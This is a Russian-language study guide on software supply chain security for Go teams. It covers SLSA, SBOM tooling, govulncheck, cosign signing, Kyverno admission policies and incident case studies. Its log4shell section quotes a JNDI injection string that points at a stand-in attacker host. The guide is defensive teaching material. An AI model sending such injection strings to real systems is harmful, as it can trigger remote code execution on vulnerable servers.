Supply Chain Security, SBOM, Sigstore, SLSA
Зачем знать на Middle 3: атаки через зависимости стали мейнстримом — SolarWinds (2020), log4shell (2021), xz-utils backdoor (2024) показали, что доверять пакетам “просто потому что популярно” — нельзя. Tech lead обязан понимать SLSA уровни, генерировать SBOM в CI/CD, использовать
govulncheck, подписывать артефакты через cosign и проверять подписи на admission в кластере. Это не теория — это часть compliance checklist для финтеха и SaaS.
Содержание
Заголовок раздела «Содержание»- Концепция
- Глубже: SLSA, SBOM-форматы, Sigstore stack, govulncheck
- Gotchas / Best practices
- Real cases (SolarWinds, log4shell, ua-parser-js, xz)
- Вопросы (20)
- Practice
- Источники
1. Концепция
Заголовок раздела «1. Концепция»Что такое Supply Chain
Заголовок раздела «Что такое Supply Chain»Software supply chain — путь от исходника до запуска в проде:
developer repo CI/CD registry k8s commit --> GitHub --> build (lint, Docker Hub --> apply test, image) gcr.io ECRАтакующая поверхность:
- Зависимости (npm, PyPI, Go modules) — typosquatting, malicious update.
- Build agent (GitHub Actions runner) — compromised.
- Container image base — backdoored.
- Registry — supply chain push.
- Cluster — admission bypass.
Известные инциденты
Заголовок раздела «Известные инциденты»| Год | Атака | Что произошло |
|---|---|---|
| 2020 | SolarWinds | Сборка Orion подменена; backdoor распространён 18k клиентам. |
| 2021 | log4shell (CVE-2021-44228) | JNDI injection в log4j 2.x → RCE. |
| 2021 | ua-parser-js | Hijack npm-аккаунта, malicious release. |
| 2022 | event-stream / colors.js | Maintainer добавил sabotage. |
| 2024 | xz-utils CVE-2024-3094 | Социальная инженерия: maintainer внедрил backdoor в SSH daemon через xz. |
Вывод: безопасность зависит от процессов, не только кода.
SLSA (Supply chain Levels for Software Artifacts)
Заголовок раздела «SLSA (Supply chain Levels for Software Artifacts)»Google-driven framework (https://slsa.dev). 4 уровня зрелости:
- L1: автоматизированный build + provenance (метаданные о сборке).
- L2: hosted build platform + signed provenance.
- L3: source/build platform isolation + non-forgeable provenance.
- L4: hermetic (без интернета) + two-party review всех изменений.
SLSA — не sertifikat, а roadmap.
SBOM (Software Bill of Materials)
Заголовок раздела «SBOM (Software Bill of Materials)»SBOM — список всех компонентов в артефакте (зависимости, версии, лицензии, хеши).
Форматы:
- SPDX (Software Package Data Exchange, ISO/IEC 5962:2021).
- CycloneDX (OWASP, более гибкий, JSON-friendly).
SBOM генерится из:
go.mod/go.sum(Go).package-lock.json(Node).- Container image layers.
Зачем:
- Знать что у тебя установлено (response на CVE).
- Аудит compliance.
- Vulnerability scanning.
Sigstore
Заголовок раздела «Sigstore»OSS стек для signing/verification:
- cosign — CLI для подписи образов, blobs.
- rekor — публичный transparency log (immutable, как Certificate Transparency).
- fulcio — CA, выдающий ephemeral сертификаты на основе OIDC identity (GitHub Actions, Google account).
- Keyless signing: ключи не нужны — identity берётся из OIDC token, cert выдаётся на 10 минут, подпись пишется в rekor.
2. Глубже
Заголовок раздела «2. Глубже»2.1 Генерация SBOM из Go-проекта
Заголовок раздела «2.1 Генерация SBOM из Go-проекта»syft (Anchore):
syft dir:./ -o spdx-json > sbom.spdx.jsonsyft packages dir:./ -o cyclonedx-json > sbom.cdx.jsonsyft scan ghcr.io/example/api:1.2.3 -o cyclonedxИз container image:
syft scan registry:gcr.io/distroless/static:nonroot -o spdx-jsonGo-native:
go install sigs.k8s.io/bom/cmd/bom@latestbom generate -o sbom.spdx --image gcr.io/distroless/static:nonroot2.2 Сканирование уязвимостей
Заголовок раздела «2.2 Сканирование уязвимостей»govulncheck (golang.org/x/vuln/cmd/govulncheck):
- Анализирует AST: находит вызовы уязвимых функций (не просто наличие модуля).
- База:
vuln.go.dev.
go install golang.org/x/vuln/cmd/govulncheck@latestgovulncheck ./...govulncheck -mode=binary ./bin/apigovulncheck -json ./... > report.jsonПример вывода:
Vulnerability #1: GO-2023-1683 Decompression bomb in archive/tar More info: https://pkg.go.dev/vuln/GO-2023-1683 Standard library Found in: archive/tar@go1.19 Fixed in: archive/tar@go1.19.8 Example traces found: #1: handler.go:42:18: api.UploadHandler calls tar.Reader.Nexttrivy (Aqua Security):
trivy image gcr.io/example/api:v1.2.3trivy fs --severity HIGH,CRITICAL .trivy sbom sbom.spdx.jsongrype (Anchore):
grype sbom:./sbom.spdx.json2.3 Sigstore: keyless signing
Заголовок раздела «2.3 Sigstore: keyless signing»# Подписать container imagecosign sign --yes ghcr.io/example/api:v1.2.3
# Будет открыт OIDC flow: GitHub Actions / Google / Microsoft# Fulcio выдаёт cert на 10 минут# Подпись + cert + rekor log entry публикуются в registryПроверка:
cosign verify \ --certificate-identity-regexp "https://github.com/example/repo/.github/workflows/release.yml@.*" \ --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \ ghcr.io/example/api:v1.2.3В k8s — policy-controller или kyverno auto-verify на admission.
2.4 SLSA provenance
Заголовок раздела «2.4 SLSA provenance»GitHub Actions может генерить provenance автоматически:
permissions: id-token: write # для OIDC contents: read packages: write attestations: write
jobs: build: uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v1.10.0 with: image: ghcr.io/example/api digest: ${{ needs.build.outputs.digest }}Получаемый файл provenance.intoto.jsonl содержит:
- Builder identity.
- Build invocation parameters.
- Source repo + commit SHA.
- Build metadata.
Verify:
slsa-verifier verify-image \ --source-uri github.com/example/repo \ --source-tag v1.2.3 \ ghcr.io/example/api@sha256:...2.5 Hermetic builds
Заголовок раздела «2.5 Hermetic builds»Hermetic = детерминированный, без сетевых запросов в момент сборки.
В Go:
GOFLAGS=-mod=readonly— запрещает auto-update.GOPROXY=https://your-proxy.com— локальный кеш.GOSUMDB=sum.golang.orgили off (если internal).- Vendor dependencies (
go mod vendor) — все зависимости в репе.
Build:
FROM golang:1.22 AS buildWORKDIR /srcCOPY . .ENV GOFLAGS=-mod=vendorENV CGO_ENABLED=0RUN go build -trimpath -ldflags="-s -w -buildid=" -o /out/api ./cmd/api-trimpath убирает абсолютные пути → reproducible builds.
-buildid= пустой → одинаковый бинарь.
2.6 Distroless / scratch images
Заголовок раздела «2.6 Distroless / scratch images»Минимальные base images:
gcr.io/distroless/static-debian12:nonroot(~2MB) — для статических Go бинарей.scratch(0MB) — только бинарь.
FROM gcr.io/distroless/static-debian12:nonroot AS finalCOPY --from=build /out/api /apiUSER nonroot:nonrootENTRYPOINT ["/api"]Без shell, без apt — атакующему некуда лезть.
2.7 Dependabot / Renovate
Заголовок раздела «2.7 Dependabot / Renovate»Dependabot (GitHub):
.github/dependabot.yml:
version: 2updates: - package-ecosystem: gomod directory: / schedule: interval: daily open-pull-requests-limit: 10Renovate (mend.io) — более гибкий: grouping, schedules, auto-merge для patches.
Pin versions с replace directive в go.mod или require точной версии (без ~/^ — Go их не использует, но в дочерних модулях возможны конфликты).
2.8 OPA / Kyverno: enforce policy at admission
Заголовок раздела «2.8 OPA / Kyverno: enforce policy at admission»Пример Kyverno policy:
apiVersion: kyverno.io/v1kind: ClusterPolicymetadata: name: require-signed-imagesspec: validationFailureAction: enforce rules: - name: check-cosign-signature match: resources: kinds: [Pod] verifyImages: - imageReferences: ["ghcr.io/example/*"] attestors: - entries: - keyless: subject: "https://github.com/example/repo/.github/workflows/release.yml@*" issuer: "https://token.actions.githubusercontent.com"Любой pod с неподписанным образом отвергается.
3. Gotchas / Best practices
Заголовок раздела «3. Gotchas / Best practices»⚠️ go get -u без review — может протащить malicious update. Используй Dependabot PRs.
⚠️ go.sum конфликт в PR — внимательно: возможно подмена хеша. CI должен запускать go mod verify.
⚠️ govulncheck режимы: -mode=source (по умолчанию) видит call graph, но требует source. -mode=binary работает по уже собранному бинарю, точность ниже.
⚠️ Reachability analysis — govulncheck отмечает только вызываемые уязвимые функции. Но если они в indirect dep через interface, иногда пропускает. Не полагайся только на это.
⚠️ SBOM не равно безопасность — он лишь inventory. Без vuln scanning и monitoring бесполезен.
⚠️ Container layers caching — base image обновляется, но в registry один и тот же latest tag. Pin by digest: gcr.io/distroless/static@sha256:abc....
⚠️ gcr.io/distroless/base содержит libc и shell. Если нужен static Go бинарь — distroless/static.
⚠️ CGO_ENABLED=1 + scratch = не запустится (нет libc). Либо CGO_ENABLED=0, либо distroless/base.
⚠️ cosign без --yes — интерактивный prompt. В CI добавляй.
⚠️ rekor публикует metadata. Не подписывай очень приватные проекты keyless: identity (email/repo) видна всем.
⚠️ GOPROXY=direct обходит proxy = риск, что origin модуль изменился. Используйте GOPROXY=https://proxy.golang.org,direct (fallback).
⚠️ Build cache poisoning: если build agent shared — кеш Go может быть подменён. Каждый сервис — свой ephemeral runner.
⚠️ Maintainer takeover: проверяй “Code Owners” критичных deps. Для критичных — fork внутрь, ревью каждой PR.
Best practices
Заголовок раздела «Best practices»- Pin dependencies by version + checksum (
go.sumобязателен в git). - govulncheck в CI на каждом PR.
- Multi-stage builds, не ship build tools.
- Distroless / scratch для production.
- Sign images, verify на admission.
- SBOM в releases: attach к GitHub release.
- Dependabot/Renovate + автотесты для patches.
- Internal proxy для Go modules (Athens, JFrog).
- Vendor critical deps для air-gapped окружений.
- CI runners ephemeral, immutable.
- Build provenance через SLSA generator.
- Minimal permissions для CI (
permissions: readпо умолчанию).
4. Real cases
Заголовок раздела «4. Real cases»4.1 SolarWinds Orion (2020)
Заголовок раздела «4.1 SolarWinds Orion (2020)»Атакующие компрометировали build server, внедрили SUNBURST backdoor в подписанный Orion. Подпись прошла, потому что build pipeline уже был внутри периметра.
Уроки:
- Изоляция build agents (L3 SLSA).
- Reproducible builds — невозможно “положить” backdoor незаметно.
- Two-person review.
4.2 log4shell (2021, CVE-2021-44228)
Заголовок раздела «4.2 log4shell (2021, CVE-2021-44228)»JNDI lookup в log4j 2.x → RCE при логировании ${jndi:ldap://attacker.com/x}. CVSS 10. Triggered массовый аудит зависимостей.
Что помогло:
- SBOM позволил быстро определить, у кого Java + log4j.
- Реакция: emergency upgrade.
В Go-мире аналог — выявление вызовов в indirect deps. govulncheck решает.
4.3 ua-parser-js (2021)
Заголовок раздела «4.3 ua-parser-js (2021)»Maintainer потерял npm-аккаунт (компрометация). Атакующий выпустил malicious patch. Пакет был очень популярен (7M downloads/week).
Защита:
- npm 2FA для maintainers.
- Cooldown period для popular packages.
- Pin versions, audit lockfile.
4.4 xz-utils CVE-2024-3094 (2024)
Заголовок раздела «4.4 xz-utils CVE-2024-3094 (2024)»Социальная инженерия: атакующий “Jia Tan” 2 года билдил репутацию, стал maintainer xz, добавил backdoor в release tarball (не в git!). Backdoor проникал в sshd через systemd.
Уроки:
- Распространение через tarball, а не git — отдельная атакующая поверхность.
- Reproducible builds выявили бы расхождение.
- Maintainer burnout — реальный security risk.
4.5 Кейс Kubernetes: PolicyController + cosign
Заголовок раздела «4.5 Кейс Kubernetes: PolicyController + cosign»Reddit production: каждый image подписан keyless через GitHub Actions OIDC. Kyverno проверяет на admission. Любой pod с unsigned image отвергается. Result: даже скомпрометированный CI с правом push в registry не может развернуть.
5. Вопросы (20)
Заголовок раздела «5. Вопросы (20)»- Что такое SLSA и какие у него уровни?
- Чем SPDX отличается от CycloneDX?
- Как
govulncheckотличает “vulnerable dep is present” от “vulnerable function is called”? - Какие минимальные base images подойдут для Go (CGO=0)?
- Что такое keyless signing в cosign и где живёт identity?
- Зачем rekor transparency log?
- Что попадает в SLSA provenance attestation?
- Как Dependabot отличается от Renovate?
- Чем
GOPROXY=offопасен? - Что значит
-trimpathи-buildid=для reproducible builds? - Какие риски у
go get -uв CI? - Опиши процесс верификации подписанного образа на admission в Kubernetes.
- Почему
latestтег opasen для security? - Что такое typosquatting и как защититься?
- Чем атака xz-utils (2024) отличается от ua-parser-js (2021)?
- Как генерировать SBOM из running container?
- Что такое hermetic build?
- Какие permissions нужны GitHub Action для cosign keyless?
- Чем
trivyотличается отgrype? - Почему один и тот же
go mod tidyможет дать разныйgo.sumна разных машинах? (трик)
6. Practice
Заголовок раздела «6. Practice»- В существующем Go-проекте: добавить
govulncheckstep в GitHub Actions, разобрать первые алерты. - Сгенерировать SBOM (syft) для своего сервиса в обоих форматах. Сравнить.
- Настроить multi-stage Dockerfile с distroless base, сравнить размер до/после.
- Подписать image через cosign keyless (GitHub Actions), проверить через
cosign verify. - Внедрить SLSA L3 provenance в build pipeline (slsa-github-generator).
- Настроить Kyverno policy: запретить непподписанные образы в namespace.
- Добавить Dependabot config для gomod + Docker. Включить auto-merge для patches.
- Воспроизвести “log4shell”-like сценарий: создать Go-сервис с уязвимой зависимостью, найти её через
govulncheckс reachability.
7. Источники
Заголовок раздела «7. Источники»- SLSA framework: https://slsa.dev
- SPDX: https://spdx.dev
- CycloneDX: https://cyclonedx.org
- Sigstore: https://www.sigstore.dev
- Go vulnerability database: https://vuln.go.dev
govulncheckdocs: https://pkg.go.dev/golang.org/x/vuln/cmd/govulncheck- NIST SSDF (Secure Software Development Framework) — SP 800-218
- OWASP CycloneDX Specification
- CNCF “Software Supply Chain Best Practices” whitepaper
- SolarWinds Orion post-mortem (Microsoft, FireEye)
- log4shell technical writeup (LunaSec)
- xz-utils CVE-2024-3094 analysis (Andres Freund’s email)
- Kyverno policies: https://kyverno.io/policies/
- Renovate docs: https://docs.renovatebot.com
- Distroless: https://github.com/GoogleContainerTools/distroless
- SBOM Tool by Microsoft: https://github.com/microsoft/sbom-tool
- “Software Supply Chain Security” — book (Cassie Crossley, O’Reilly 2024)
- Go Modules Reference: https://go.dev/ref/mod
- CIS Software Supply Chain Security Guide
- Aqua Security trivy docs: https://aquasecurity.github.io/trivy/